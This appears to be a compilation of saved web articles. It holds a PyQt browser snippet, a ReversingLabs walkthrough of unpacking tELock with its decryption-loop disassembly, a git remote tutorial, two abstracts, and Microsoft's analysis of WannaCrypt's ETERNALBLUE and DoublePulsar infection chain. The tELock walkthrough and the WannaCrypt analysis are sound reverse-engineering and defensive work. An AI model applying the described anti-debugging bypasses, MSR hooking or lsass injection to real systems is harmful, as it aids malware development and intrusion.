            #print "on_actionGo_triggered"  
              
            self.WebBrowser.load(QtCore.QUrl(self.addressEdit.text()))  
            self.addressEdit.setText(self.addressEdit.text())  
      
        @QtCore.pyqtSignature("")  
        def on_actionHome_triggered(self):  
            #print "on_actionHome_triggered"  
            self.WebBrowser.load(QtCore.QUrl("http://www.google.com"))  
            self.addressEdit.setText("http://www.google.com")  
      
      
    if __name__ == "__main__":  
        a = QtGui.QApplication(sys.argv)  
        w = MainWindow()  
      
        w.show()  
        sys.exit(a.exec_())
    
[/code]

# ReversingLabs | Blog » Lockpicking tELock
**Created:**| _2/8/2010 9:41:54 PM_  
---|---  
**Updated:**| _2/8/2010 9:42:11 PM_  
**Author:**| __  
**Tags:**| _reversing Malware-analysis programming_  
  

## Lockpicking tELock

Category: Reversing, TitanEngine / Tags: no tag / Add Comment

Today's blog post brings  _TitanEngine _to the test and its a good way to end
this years series of our blog posts dedicated to unpacking. The reason why
_TitanEngine _is put to the test is because tELock is a protector riddled with
protection tricks. That is why some modifications were needed so that we can
debug files protected with this protection without getting detected by its
anti-debugging tricks. Furthermore because of the specific packing method used
our PE file validation routine needed some tweaks too. These small
inconveniences resulted in today's publishing of two tools named: PEValidate
and LogException. Those two tools are used to test the engine's performance
with file execution and validation.

**PEValidate **is used to validate any PE32/PE32+ file. It evaluates the
plausibility of file execution and provides detail error description about
every found problem. This tool is a wrapper around _TitanEngine _function
IsPE32FileValidEx and its used as a test for it.

**LogException **is used to track all exceptions that occur while debugging
any PE32 file. It does execute the file fully so run it in the safe
environment for suspicious samples. This tool also demonstrates the usage of
_TitanEngine _debugging features and it is used as a test for detection from
debugging tricks. What this tool showed us is that tELock uses debug registers
to decode data and to place hardware breakpoints it itself handles. That made
us redo the part of engine that handles hardware breakpoints for TitanEngine
2.0.3. This way plugins such as AntiDRx forOllyDBG are not needed for our
engine.

Writing a blog that describes in detail how tELock works isn't an easy task
because files protected with it are riddled with protection tricks,
polymorphic decryption loops and exceptions specifically targeting possible
errors in debuggers. Simply put tELock is roller coaster made of fun. For the
purpose of this blog we are using a sample packed by tELock 0.99 with all
protection options turned on.

After the first jump instruction in the sample we land on the start of the
protector's section. Executing several obfuscations leads us to first poly
decryptor code. Right here:

>
[code]

>       MOV ECX,1DC9
>       MOV EAX,ECX
>       ADD ESI,36
>     DecryptionLoop:
>       LEA EAX,DWORD PTR DS:[ECX+EAX*4+67]
>       CALL DummyLabel
>     DummyLabel:
>       XOR BYTE PTR DS:[ESI],AL
>       INC ESI
>       POP EDX
>       DEC ECX
>       JG DecryptionLoop
>  
[/code]

After the first encrypted layer has been decrypted we continue tracing until
the first exception:

>
[code]

>       SUB ECX,ECX
>       PUSH DWORD PTR FS:[ECX]
>       MOV DWORD PTR FS:[ECX],ESP
>       INC BYTE PTR DS:[ECX]
>  
[/code]

Which is in this case an access violation. Just after we return from its
handler execution next decryption awaits us here:

>
[code]

>       MOV EDX,DWORD PTR SS:[ESP]
>       POP EAX
>       SUB EDX,004128BF
>       MOV EAX,729017A8
>       MOV EDI,EAX
>       SUB EDI,724EEF46
>       STC
>       ADD EDI,EDX
>       MOV EAX,72901D20
>       MOV ECX,EAX
>       SUB ECX,72901D12
>       DEC EAX
>       MOV EBX,72900C26
>     DecryptionLoop:
>       XOR DWORD PTR DS:[EDI],EBX
>       ADD EBX,72900C76
>       XOR EAX,ESI
>       CLC
>       MOV EAX,4
>       ADD EDI,EAX
>       SBB EAX,72BFB05C
>       SUB EAX,72BFB131
>       SUB ECX,1
>       STC
>       OR EAX,ESI
>       PUSH ECX
>       MOV ECX,ECX
>       JECXZ ExitDecryption
>       POP ECX
>       JMP DecryptionLoop
>  
[/code]

And this is immediately followed by the next decryption loop:

>
[code]

>     DecryptionLoop:
>       OR CX,CX
>       JNZ OverDummy
>       INT 20
>     OverDummy:
>       ROL BYTE PTR DS:[EBX+ECX],5
>       ADD BYTE PTR DS:[EBX+ECX],CL
>       XOR BYTE PTR DS:[EBX+ECX],0F1
>       INC BYTE PTR DS:[EBX+ECX]
>       DEC ECX
>       JG DecryptionLoop
>  
[/code]

From this execution pattern we see two things. One, tELock decrypts internal
data with multiple polymorphic decryption loops followed by exceptions and two
this blog would be too long to list them all. Therefore we will only focus on
two important parts: imports and entry point. To find the import filling part
we reset our sample and set a breakpoint on the RET instruction of
GetModuleHandleA API. First time that breakpoint hits tELock is just locating
EnumWindows API to try to locate debugger windows. But the second time that
breakpoint hits its going to take us exactly where we want to be. Here:

>
[code]

>       PUSH EAX ;Get DLL base
>       CALL NEAR DWORD PTR SS:[EBP+4036D1]
>       TEST EAX,EAX
>       JNZ DLLFound
>     ...
>     DLLFound:
>       PUSHAD ;Check if that DLL can be redirected
>     L001:
>       XOR ECX,ECX
>       SUB DH,DH
>     L003:
>       MOV DL,BYTE PTR DS:[EBX]
>       TEST DL,40
>       JE L007
>       AND DL,5F
>     L007:
>       OR DL,DL ;Check ASCII "GDI32.DLLUSER32.DLLSHELL32.DLLKERNEL32.DLL"
>       JE L021
>       INC EBX
>       INC DH
>       INC ECX
>       CMP DL,BYTE PTR DS:[EAX+ECX-1]
>       JE L003
>       CMP DL,BYTE PTR DS:[EAX+ECX+8]
>       JE L003
>       CMP DL,BYTE PTR DS:[EAX+ECX+12]
>       JE L003
>       CMP DL,BYTE PTR DS:[EAX+ECX+1D]
>       JE L003
>       JMP L001
>     L021:
>       OR DH,DH
>       MOV DWORD PTR SS:[ESP+1C],EDX
>       POPAD
>     ...
>       AND EBX,7FFFFFFF ;Get API address
>       PUSH EBX
>       PUSH DWORD PTR SS:[EBP+40374B]
>       CALL NEAR DWORD PTR SS:[EBP+401C6E]
>       INC EAX
>       DEC EAX
>     ...
>       PUSHAD ;Check whether to write a redirection
>       AND DWORD PTR DS:[EDI],0
>       MOV EAX,DWORD PTR SS:[EBP+403853]
>       INC EAX
>       JE WriteAPIPointer ;Patch to always jump!
>     WriteAPIPointer:
>       POPAD
>       XOR DWORD PTR DS:[EDI],EAX
>       POP EAX
>       DEC EAX
>       JE NextAPIPointe
>  
[/code]

Quite a long piece of code which does the following:

  * Get the base of loaded DLL with GetModuleHandleA or load new DLL with LoadLibraryA
  * Check the name of current DLL in the import table to see if that DLL can be redirected
  * Allocate memory for redirection of APIs inside kernel32, user32, gdi32 and shell32 dlls
  * Check whether to redirect the API \(if yes then redirect, if no the write normal pointer\)
  * Process next API and next DLL

From this we can easily collect all the data we need to fix the import table.
Only one jump needs to be patched to prevent tELock from ever redirecting
APIs. This patch isn't necessary for our unpacker but can be used as a work
around tELock's redirection. Due to the fact that everything inside the
packers import table is encrypted with layers of polymorphic encryption data
gathering with dynamic unpacking is much easier then static option.

After the import table has been filled tELock will execute a couple of
exceptions more before it jumps to the entry point. Last polymorphic
decryption loop which decrypts the entry point jump is here:

>
[code]

>       XOR DWORD PTR DS:[EDI],EDX
>       DEC EBX
>       SBB EAX,EDI
>       ADD EDX,726C7434
>       CMP EAX,-7C
>     ...
>       CWDE
>       POPAD
>       ADD EAX,ESP
>       RET
>  
[/code]

After POPAD and RET instructions execute you will land here:

>
[code]

>       MOV EBX,DWORD PTR SS:[EBP+403783]
>     ...
>       MOV ECX,39E
>       REP STOS BYTE PTR ES:[EDI]  ;Zero out packer code
>       LEA EDI,DWORD PTR SS:[EBP+4015DC]
>       MOV ECX,1BFF
>       REP STOS BYTE PTR ES:[EDI]  ;Zero out packer code
>       STOS WORD PTR ES:[EDI]
>       LEA EDI,DWORD PTR SS:[EBP+4015DC]
>       TEST ESI,ESI
>       JNZ L011
>       MOV DWORD PTR DS:[EDI],C340C033
>       JMP L016
>     L011:
>       MOV BYTE PTR DS:[EDI],0E9  ;Write OEP JUMP
>       INC EDI
>       SUB EBX,EDI
>       SUB EBX,4
>       MOV DWORD PTR DS:[EDI],EBX ;Write OEP JUMP
>     L016:
>       LEA EDI,DWORD PTR SS:[EBP+4031DB]
>       MOV ECX,2C
>       REP STOS BYTE PTR ES:[EDI]
>       STOS WORD PTR ES:[EDI]
>       JMP L022
>       INT 20
>     L022:
>       POPAD
>       CALL L024
>     L024:
>       POP EDX
>       SUB EDX,0E
>       PUSH EDI
>       PUSH ECX
>       XOR EAX,EAX
>       LEA EDI,DWORD PTR DS:[EDX]
>       MOV ECX,20
>       REP STOS BYTE PTR ES:[EDI]
>       STOS WORD PTR ES:[EDI]
>       POP ECX
>       POP EDI
>       RET   ;JUMP TO OEP
>  
[/code]

This code erases the protector memory and creates a new jump at the start of
the tELock section which leads to the entry point. Purpose of that jump is to
provide a redirection to entry point when tELock is used to protect DLL files.
However we couldn't make tELock protect any DLL file successfully which is why
our unpacker only supports executable files.

If you only want to unpack tELock protected file you can see how it is done in
our video tutorial which shows  _ImportStudio _usage:

Writing an unpacker for tELock should be a nice exercise for any reverser. As
always unpacker, source code and the samples are included with the blog. Until
next week...

RL\!deTELock  
\(package contains unpacker binary, source and samples used\)

# Setting up a new remote git repository

**Created:**| _12/16/2009 8:33:45 AM_  
---|---  
**Updated:**| _12/16/2009 8:33:56 AM_  
**Author:**| __  
**Tags:**| _Git_  
  

# Setting up a new remote git repository

PUBLISHED DECEMBER 05, 2007 \- UPDATED JANUARY 09, 2008

To collaborate in a distributed development process you’ll need to push code
to remotely accessible repositories.

This is somewhat of a follow-up to the previous article setting up a new rails
app with git.

It's good to know how this stuff works, but this is definitely the hard way.
For no fuss git repository setup \(especially if you want to collaborate with
others\) check out GitHub.

## FOR THE IMPATIENT

Set up the new bare repo on the server:

[code]

    $ ssh myserver.com
    Welcome to myserver.com!
    $ mkdir /var/git/myapp.git && cd /var/git/myapp.git
    $ git --bare init
    Initialized empty Git repository in /var/git/myapp.git
    $ exit
    Bye!
    
[/code]

Add the remote repository to your existing local git repo and push:

[code]

    $ cd ~/Sites/myapp
    $ git remote add origin ssh://myserver.com/var/git/myapp.git
    $ git push origin master
[/code]

Set the local master branch to track the remote branch.

Read further for a step-by-step explanation of what’s going on.

## PRE-FLIGHT SANITY CHECK

Setting up a remote repository is fairly simple but somewhat confusing at
first. Firstly, let’s check out what remote repositories are being tracked in
our git repo:

[code]

    $ cd ~/Sites/myapp
    $ git remote
[/code]

None. Looking good. Now let’s list all the branches:

[code]

    $ git branch -a
    * master
    
[/code]

Just one branch, the master branch. Let’s have a look at `.git/config`:

[code]

    $ cat .git/config
    [core]
            repositoryformatversion = 0
            filemode = true
            bare = false
            logallrefupdates = true
[/code]

A pretty bare-minimum config file.

## CREATING THE BARE REMOTE REPOSITORY

Before we can push our local master branch to a remote repository we need to
create the remote repository. To do this we’ll ssh in and create it on the
server:

[code]

    $ ssh myserver.com
    Welcome to myserver.com!
    $ cd /var/git
    $ mkdir myapp.git
    $ cd myapp.git
    $ git --bare init
    Initialized empty Git repository in /var/git/myapp.git
    $ exit
    Bye!
    
[/code]

A short aside about what git means by  _bare_ : A default git repository
assumes that you’ll be using it as your working directory, so git stores the
actual bare repository files in a `.git` directory alongside all the project
files. Remote repositories don’t need copies of the files on the filesystem
unlike working copies, all they need are the deltas and binary what-nots of
the repository itself. This is what “bare” means to git. Just the repository
itself.

## ADDING THE REMOTE REPOSITORY TO OUR LOCAL GIT REPOSITORY CONFIGURATION

Now that we’ve created the remote repository we’ll add it to our local
repository as a remote server called “origin” using `git remote add`, which is
just a nicer way of updating our config file for us:

[code]

    $ git remote add origin ssh://myserver.com/var/git/myapp.git
[/code]

Let’s see what it added to the config file:

[code]

    [core]
      repositoryformatversion = 0
      filemode = true
      bare = false
      logallrefupdates = true
    [remote "origin"]
      url = ssh://myserver.com/var/git/myapp.git
      fetch = +refs/heads/*:refs/remotes/origin/*
[/code]

We now have a remote repository “origin” that will fetch all of it’s
`refs/heads/*` branches and store them in our local repo in
`refs/remotes/origin/*` when a `git fetch` is performed.

## PUSHING TO THE REMOTE REPOSITORY

The time has come to push our local master branch to the origin’s master
branch. We do that using the `git push <target> <local>` command.

[code]

    $ git push origin master
    updating 'refs/heads/master'
      from 0000000000000000000000000000000000000000
      to   b379203bc187c2926f44a71eca3f901321ea42c6
     Also local refs/remotes/origin/master
    Generating pack...
    Done counting 1374 objects.
    Deltifying 1374 objects...
     100% (1374/1374) done
    Writing 1374 objects...
     100% (1374/1374) done
    Total 1374 (delta 89), reused 0 (delta 0)
    refs/heads/master: 0000000000000000000000000000000000000000 -> b379203bc187c2926f44a71eca3f901321ea42c6
    
[/code]

and that’s all, folks. Further pushes can be done by repeating the `git push`
command.

Now you can tell your co-conspirators to:

[code]

    $ git clone ssh://myserver.com/var/git/myapp.git
[/code]

and push and pull to your heart’s content.

## TRACK THE REMOTE BRANCH

You can specify the default remote repository for pushing and pulling using
git-branch’s track option. You’d normally do this by specifying the `--track`
option when creating your local master branch, but as it already exists we’ll
just update the config manually like so:

[code]

    [branch "master"]
      remote = origin
      merge = refs/heads/master
    
[/code]

Now you can simply `git push` and `git pull`.

## SHARING THE REMOTE REPOSITORY WITH THE WORLD

If you want to set it up as a public repository be sure to check out the Git
manual’s chapter onpublic git repositories.

## WORKING WITH REMOTE REPOSITORY BRANCHES

`git remote show` is used to inspect a remote repository. It goes and checks
the remote repository to see what branches have been added and removed since
the last `git fetch`.

Doing a `git remote show` at the moment only shows us the remote repo’s master
branch which we pushed earlier:

[code]

    $ git remote show origin
    * remote origin
      URL: ssh://myserver.com/var/git/myapp.git
      Tracked remote branches
        master
[/code]

Let’s create a new local git repository and push to a new branch on the remote
repository. We can then use `git remote show` to see the new remote branch,
`git fetch` to mirror it into our local repo and `git checkout --track -b` to
create a local branch to do some work on it.

We’ll start by creating a new local repo and pushing some code to a new branch
in the remote repository.

[code]

    $ mkdir /tmp/other-git
    $ cd /tmp/other-git
    $ git init
    Initialized empty Git repository in /tmp/other-git
    $ git remote add origin ssh://myserver.com/var/git/myapp.git
    $ echo "Rails 2... woo" > afile
    $ git add afile
    $ git commit -m "Added afile" 
    Created initial commit 0ac9a74: Added afile
     1 files changed, 1 insertions(+), 0 deletions(-)
     create mode 100644 something
    $ git push origin master:rails-2
    updating 'refs/heads/rails-2' using 'refs/heads/master'
      from 0000000000000000000000000000000000000000
      to   0ac9a7457f4b21c9e058d4c54d262584bf35e528
     Also local refs/remotes/origin/rails-2
    Generating pack...
    Done counting 3 objects.
    Deltifying 3 objects...
     100% (3/3) done
    Writing 3 objects...
     100% (3/3) done
    Total 3 (delta 0), reused 0 (delta 0)
    Unpacking 3 objects...
     100% (3/3) done
    refs/heads/rails-2: 0000000000000000000000000000000000000000 -> 0ac9a7457f4b21c9e058d4c54d262584bf35e528
    
[/code]

Now let’s switch back to our old git repository and see if it detects the new
branch on the remote repository:

[code]

    $ git remote show origin
    * remote origin
      URL: ssh://myserver.com/var/git/myapp.git
      New remote branches (next fetch will store in remotes/origin)
        rails-2
      Tracked remote branches
        master
    
[/code]

Let’s update our mirror of the remote repository by doing a `git fetch`:

[code]

    $ git fetch
    * refs/remotes/origin/master: storing branch 'rails-2' of ssh://myserver.com/var/git/myapp.git
      commit: b379203
    $ git remote show origin
    * remote origin
      URL: ssh://myserver.com/var/git/myapp.git
      Tracked remote branches
        master
        rails-2
[/code]

We should now be able to see this in a our list of remote branches:

[code]

    $ git branch -a
    * master
    origin/rails-2
    origin/master
[/code]

If we then wanted to do some work on this remote `rails-2` branch we create a
new local tracking branch like so:

[code]

    $ git checkout --track -b rails-2 origin/rails-2
    Branch rails-2 set up to track remote branch refs/remotes/origin/rails-2.
    Switched to a new branch "rails-2" 
    
[/code]

To keep up-to-date and push new changesets we simply use `git push` and `git
pull` when working in the local `rails-2` branch.

Also notice, like we manually changed for master, `.git/config` has a new
entry for this new tracking branch:

[code]

    [branch "rails-2"]
      remote = origin
      merge = refs/heads/rails-2
[/code]

# Computer Science from the Bottom Up

**Created:**| _4/28/2014 10:04:39 AM_  
---|---  
**Updated:**| _4/28/2014 10:04:39 AM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

# Computer Science from the Bottom Up

### Ian Wienand

`<ian@wienand.org>`

A PDF version is available at _http://www.bottomupcs.com/csbu.pdf_. The
original souces are available at _https://github.com/ianw/bottomupcs_

Copyright Â© 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013 Ian
Wienand

This work is licensed under the Creative Commons Attribution-ShareAlike
License. To view a copy of this license, visit
http://creativecommons.org/licenses/by-sa/3.0/ or send a letter to Creative
Commons, 559 Nathan Abbott Way, Stanford, California 94305, USA.

Abstract

Computer Science from the Bottom Up â€” A free, online book designed to teach
computer science from the bottom end up. Topics covered include binary and
binary logic, operating systems internals, toolchain fundamentals and system
library fundamentals.

# IEEE Xplore - Mean LQI and RSSI based link evaluation algorithm and the
application in frequency hopping mechanism in wireless sensor networks

**Created:**| _6/21/2011 9:04:40 AM_  
---|---  
**Updated:**| _6/21/2011 9:04:40 AM_  
**Author:**| __  
**Tags:**| _papers zigbee_  
  

## Abstract

The evaluation of communication link is crucial to wireless sensor networks. A
link evaluation algorithm based on mean LQI and mean RSSI is proposed by
analysis of a large mount of data collected from communication tests. This
algorithm can improve the speed and precision of evaluation for communication
link, and improve the reliability of wireless sensor networks. Then EPA based
Frequency Hopping Metric\(EPA-FHM\) is presented, and applied to frequency-
hopping algorithm. The performance of EPA-FHM is tested with the CC2420 as the
platform, and the results show the reliability is improved.

# Exploring the crypt: Analysis of the WannaCrypt ransomware SMB exploit
propagation

**Created:**| _7/17/2017 11:31:54 AM_  
---|---  
**Updated:**| _7/17/2017 11:31:54 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis ransomware_  
  

  

# Exploring the crypt: Analysis of the WannaCrypt ransomware SMB exploit
propagation

Rate this article

★★★★★

★★★★

★★★

★★

★

<img src='img/4010_avatar.jpg' width='22' height='22' alt='avatar of msft-
mmpc' />msft-mmpcJune 30, 20170

  * Share
  * 288
  * 185

* * *
On May 12, there was a major outbreak of WannaCrypt ransomware. WannaCrypt
directly borrowed exploit code from the ETERNALBLUE exploit and the
DoublePulsar backdoor module leaked in April by a group calling itself Shadow
Brokers.

Using ETERNALBLUE, WannaCrypt propagated as a worm on older platforms,
particularly Windows 7 and Windows Server 2008 systems that haven't patched
against the SMB1 vulnerability CVE-2017-0145. The resulting ransomware
outbreak reached a large number of computers, even though Microsoft released
security bulletin MS17-010 to address the vulnerability on March 14, almost
two months before the outbreak.

This post—complementary to our earlier post about the ETERNALBLUE and
ETERNALROMANCE exploits released by Shadow Brokers—takes us through the
WannaCrypt infection routine, providing even more detail about post-
exploitation phases. It also describes other existing mitigations as well as
new and upcoming mitigation and detection techniques provided by Microsoft to
address similar threats.

## Infection cycle

The following diagram summarizes the WannaCrypt infection cycle: initial
shellcode execution, backdoor implantation and package upload, kernel and
userland shellcode execution, and payload launch.

<img src='img/Figure-01.-Infection-cycle-overview.png' width='614'
height='473' alt='Figure 1. Infection cycle overview' />

_Figure 1. WannaCrypt infection cycle overview_

The file _mssecsvc.exe_ contains the main exploit code, which launches a
network-level exploit and spawns the ransomware package. The exploit code
targets a kernel-space vulnerability and involves multi-stage shellcode in
both kernel and userland processes. Once the exploit succeeds, communication
between the DoublePulsar backdoor module and _mssecsvc.exe_ is encoded using a
pre-shared XOR key, allowing transmission of the main payload package and
eventual execution of ransomware code.

## Exploit and initial shellcodes

In an earlier blog post, Viktor Brange provided a detailed analysis of the
vulnerability trigger and the _instruction pointer_ control mechanism used by
ETERNALBLUE. After the code achieves instruction pointer control, it focuses
on acquiring persistence in kernel space using kernel shellcode and the
DoublePulsar implant. It then executes the ransomware payload in user space.

### Heap spray

The exploit code sprays memory on a target computer to lay out space for the
first-stage shellcode. It uses non-standard SMB packet segments to make the
allocated memory persistent on _hardware abstraction layer_ \(HAL\) memory
space. It sends 18 instances of heap-spraying packets, which have direct
binary representations of the first-stage shellcode.

<img src='img/Figure-02.-Shellcode-heap-spraying-packet.png' width='800'
height='313' alt='Figure 2. Shellcode heap-spraying packet' />

_Figure 2. Shellcode heap-spraying packet_

### Initial shellcode execution: first and second stages

The exploit uses a _function-pointer overwrite_ technique to direct control
flow to the first-stage shellcode. This shellcode installs a second-stage
shellcode as a _SYSENTER_ or _SYSCALL_ routine hook by overwriting _model-
specific registers_ \(MSRs\). If the target system is x86-based, it hooks the
SYSENTER routine by overwriting _IA32\_SYSENTER\_EIP_. On x64-based systems,
it overwrites _IA32\_LSTAR_ MSR to hook the SYSCALL routine. More information
about these MSRs can be found in Intel® 64 and IA-32 Architectures Software
Developer's Manual Volume 3C.

<img src='img/Figure-03.-First-stage-shellcode-for-x86-systems.png'
width='736' height='202' alt='Figure 3. First-stage shellcode for x86 systems'
/>

_Figure 3. First-stage shellcode for x86 systems_

Originally, the IA32\_SYSENTER\_EIP contains the address to
_nt\!KiFastCallEntry_ as its SYSENTER routine.

<img src='img/Figure-04.-Original-IA32_SYSENTER_EIP-value-pointing-to-
KiFastCallEntry.png' width='461' height='207' alt='Figure 4. Original
IA32_SYSENTER_EIP value pointing to KiFastCallEntry' />

_Figure 4. Original IA32\_SYSENTER\_EIP value pointing to KiFastCallEntry_

After modification by the first-stage shellcode, IA32\_SYSENTER\_EIP now
points to the second-stage shellcode.

<img src='img/Figure-05.-Modified-IA32_SYSENTER_EIP-value-points-to-the-main-
shellcode.png' width='264' height='59' alt='Figure 5. Modified
IA32_SYSENTER_EIP value points to the main shellcode' />

_Figure 5. Modified IA32\_SYSENTER\_EIP value points to the main shellcode_

The first-stage shellcode itself runs in _DISPATCH\_LEVEL_. By running the
second-stage shellcode as the SYSENTER routine, the first-stage code
guarantees that the second-stage shellcode runs in _PASSIVE\_LEVEL_ , giving
it access to a broader range of kernel APIs and paged-out memory. And although
the second-stage shellcode delivered with this malware actually doesn't access
any paged pools or call APIs that require running in PASSIVE\_LEVEL, this
approach allows attackers to reuse the same module for more complicated
shellcode.

## Backdoor implantation

The second-stage shellcode, now running on the targeted computer, generates a
master XOR key for uploading the payload and other communications. It uses
system-specific references, like addresses of certain APIs and structures, to
randomize the key.

<img src='img/Figure-06.-Master-XOR-key-generation.png' width='567'
height='201' alt='Figure 6. Master XOR key generation' />

_Figure 6. Master XOR key generation_

The second-stage shellcode implants DoublePulsar by patching the SMB1
_Transaction2_ dispatch table. It overwrites one of the reserved command
handlers for the _SESSION\_SETUP \(0xe\)_ subcommand of the Transaction2
request. This subcommand is reserved and not commonly used in regular code.

<img src='img/Figure-07.-Copying-packet-handler-shellcode-and-overwriting-the-
dispatch-table.png' width='943' height='221' alt='Figure 7. Copying packet-
handler shellcode and overwriting the dispatch table' />

_Figure 7. Copying packet-handler shellcode and overwriting the dispatch
table_

The following code shows the dispatch table after the subcommand backdoor is
installed.

<img src='img/Figure-08.-Substitution-of-0xe-command-handler.png' width='592'
height='398' alt='Figure 8. Substitution of 0xe command handler' />

_Figure 8. Substitution of 0xe command handler_

## Main package upload

To start uploading its main package, WannaCrypt sends multiple ping packets to
the target, testing if its server hook has been installed. Remember that the
second-stage shellcode runs as a _SYSENTER_ hook—there is a slight delay
before it runs and installs the dispatch-table backdoor. The response to the
ping packet contains the randomly generated XOR master key to be used for
communication between the client and the targeted server.

<img src='img/Figure-09.-Code-that-returns-original-XOR-key.png' width='572'
height='175' alt='Figure 9. Code that returns original XOR key' />

_Figure 9. Code that returns original XOR key_

This XOR key value is used only after some bit shuffling. The shuffling
algorithm basically looks like the following Python code.

<img src='img/Figure-10a.-XOR-bit-shuffling-code.png' width='507' height='48'
alt='Figure 10. XOR bit-shuffling code' />

_Figure 10. XOR bit-shuffling code_

The upload of the encoded payload consists of multiple packets as shown below.

<img src='img/Figure-11a.-SMB-Transaction2-packet-showing-payload-upload-
operation.png' width='650' height='373' alt='Figure 11. SMB Transaction2
packet showing payload upload operation' />

_Figure 11. SMB Transaction2 packet showing payload upload operation_

The hooked handler code for the unimplemented subcommand processes the packet
bytes, decoding them using the pre-shared XOR key. The picture above shows
that the SESSION\_SETUP parameter fields are used to indicate the offset and
total lengths of payload bytes. The data is 12 bytes long—the first four bytes
indicate total length, the next four bytes is reserved, and the last 4 bytes
are the current offsets of the payload bytes in little-endian. These fields
are encoded with master XOR key.

Because the reserved field is supposed to be 0, the reserved field is actually
the same as the master XOR key. Going back to the packet capture above, the
reserved field value is 0x38a9dbb6, which is the master XOR key. The total
length is encoded as 0x38f9b8be. When this length is XORed with the master XOR
key, it is 0x506308, which is the actual length of the payload bytes being
uploaded. The last field is 0x38b09bb6. When XORed with the master key, this
last field becomes 0, meaning this packet is the first packet of the payload
upload.

When all the packets are received, the packet handler in the second-stage
shellcode jumps to the start of the decoded bytes.

<img src='img/Figure-12a.-Decoding-and-executing-shellcode.png' width='641'
height='777' alt='Figure 12. Decoding and executing shellcode' />

_Figure 12. Decoding and executing shellcode_

The transferred and decoded bytes are of size 0x50730c. As a whole, these
packet bytes include kernel shellcode, userland shellcode, and the main
WannaCrypt PE packages.

## Executing the kernel shellcode

The kernel shellcode looks for a kernel image base and resolves essential
functions by parsing PE structures. The following figure shows the APIs
resolved by the shellcode:

<img src='img/Figure-13a.-Resolved-kernel-functions.png' width='712'
height='366' alt='Figure 13. Resolved kernel functions' />

_Figure 13. Resolved kernel functions_

It uses _ZwAllocateVirtualMemory_ to allocate a large chunk of RWX memory
\(0x506d70 in this case\). This memory holds the userland shellcode and the
main PE packages.

<img src='img/Figure-14a.-RWX-memory-allocation-through-
ZwAllocateVirtualMemory.png' width='768' height='314' alt='Figure 14. RWX
memory allocation through ZwAllocateVirtualMemory' />

_Figure 14. RWX memory allocation through ZwAllocateVirtualMemory_

The kernel shellcode goes through processes on the system and injects userland
shellcode to the _lsass.exe_ process using an asynchronous procedure call
\(APC\).

<img src='img/Figure-15a.-APC-routines-for-injecting-shellcode-to-a-thread-in-
a-userland-process.png' width='460' height='305' alt='Figure 15. APC routines
for injecting shellcode to a thread in a userland process' />

_Figure 15. APC routines for injecting shellcode to a thread in a userland
process_

## Userland shellcode—the start of a new infection cycle

After multiple calls to _VirtualProtect_ and PE layout operations, the
shellcode loads a bootstrap DLL using a reflective DLL loading method. The
WannaCrypt user-mode component contains this bootstrap DLL for both 64- and
32-bit Windows.

<img src='img/Figure-16c.-Bootstrap-DLL-functions.png' width='256'
height='183' alt='Figure 16. Bootstrap DLL functions' />

_Figure 16. Bootstrap DLL functions_

This bootstrap DLL reads the main WannaCrypt payload from the resource section
and writes it to a file _C:\WINDOWS\mssecsvc.exe_. It then launches the file
using the _CreateProcess_ API. At this stage, a new infection cycle is started
on the newly infected computer.

<img src='img/Figure-17a.-Dropping-main-payload-to-file-system.png'
width='493' height='667' alt='Figure 17. Dropping main payload to file system'
/>

_Figure 17. Dropping main payload to file system_

<img src='img/Figure-18a.-Creating-the-main-payload-process.png' width='435'
height='232' alt='Figure 18. Creating the main payload process' />

_Figure 18. Creating the main payload process_

## Mitigating and detecting WannaCrypt

WannaCrypt borrowed most of its attack code from those leaked by Shadow
Brokers, specifically the ETERNALBLUE kernel exploit code and the DoublePulsar
kernel-level backdoor. It leverages DoublePulsar's code execution mechanisms
and _asynchronous procedure calls_ \(APCs\) at the kernel to deliver its main
infection package and ransomware payload. It also uses the system file
_lsass.exe_ as its injection target.

### Mitigation on newer platforms and upcoming SMB updates

The ETERNALBLUE exploit code worked only on older OSes like Windows 7 and
Windows Server 2008, particularly those that have _not_ applied security
updates released with security bulletin MS17-010. The exploit was limited to
these platforms because it depended on executable memory allocated in kernel
HAL space. Since Windows 8 and Windows Server 2012, HAL memory has stopped
being executable. Also, for additional protection, predictable addresses in
HAL memory space have been randomized since Windows 10 Creators Update.

With the upcoming Windows 10 Fall Creators Update \(also known as RS3\), many
dispatch tables in legacy SMB1 drivers, including the _Transaction2_ dispatch
table \(_SrvTransaction2DispatchTable_\) memory area, will be set to read-only
as a defense-in-depth measure. The backdoor mechanism described here will be
much less attractive to attackers because the mechanism will require
additional exploit techniques for unlocking the memory area and overwriting
function pointers. Furthermore, SMB1 has already been deprecated for years.
With the RS3 releases for Windows 10 and Windows Server 2016, SMB1 will be
disabled.

### Hyper Guard virtualization-based security

WannaCrypt employs multiple techniques to achieve full code execution on
target systems. The IA32\_SYSENTER\_EIP modification technique used by
WannaCrypt to run the main shellcode is actually commonly observed when kernel
rootkits try to hook system calls. _Kernel Patch Protection_ \(or PatchGuard\)
typically detects this technique by periodically checking for modifications of
MSR values. WannaCrypt hooking, however, is too brief for PatchGuard to fire.
Windows 10, armed with virtualization-based security \(VBS\) technologies such
as _Hyper Guard_, can detect and mitigate this technique because it fires as
soon as the malicious _wrmsr_ instruction to modify the MSR is executed.

_To enable Hyper Guard on systems with supported processors, use Secure Boot
and_ _enable Device Guard_ _. Use the_ _hardware readiness tool_ _to check if
your hardware system supports Device Guard. Device Guard runs on the
Enterprise and Education editions of Windows 10._

### Post-breach detection with Windows Defender ATP

In addition to VBS mitigation provided with Hyper Guard, Windows Defender
Advanced Threat Protection \(Windows Defender ATP\) can detect injection of
code to userland processes, including the method used by WannaCrypt. Our
researchers have also added new detection logic so that Windows Defender ATP
flags highly unusual events that involve spawning of processes from
_lsass.exe_.

<img src='img/Figure-19a.-Windows-Defender-ATP-detection-of-an-anomalous-
process-spawned-from-a-system-process.png' width='600' height='570'
alt='Figure 19. Windows Defender ATP detection of an anomalous process spawned
from a system process' />

_Figure 19. Windows Defender ATP detection of an anomalous process spawned
from a system process_

While the detection mechanism for process spawning was pushed out in response
to WannaCrypt, this mechanism and detection of code injection activities also
enable Windows Defender ATP customers to uncover sophisticated breaches that
leverage similar attack methods.

**Matt Oh**  
_Windows Defender ATP Research Team_

Tags  backdoor CVE-2017-0145 Device Guard DoublePulsar ETERNALBLUE HAL
hardware abstraction layer heap spray Hyper Guard Kernel Patch Protection
lsass.exe MS17-010 PatchGuard process injection process spawning ransomware
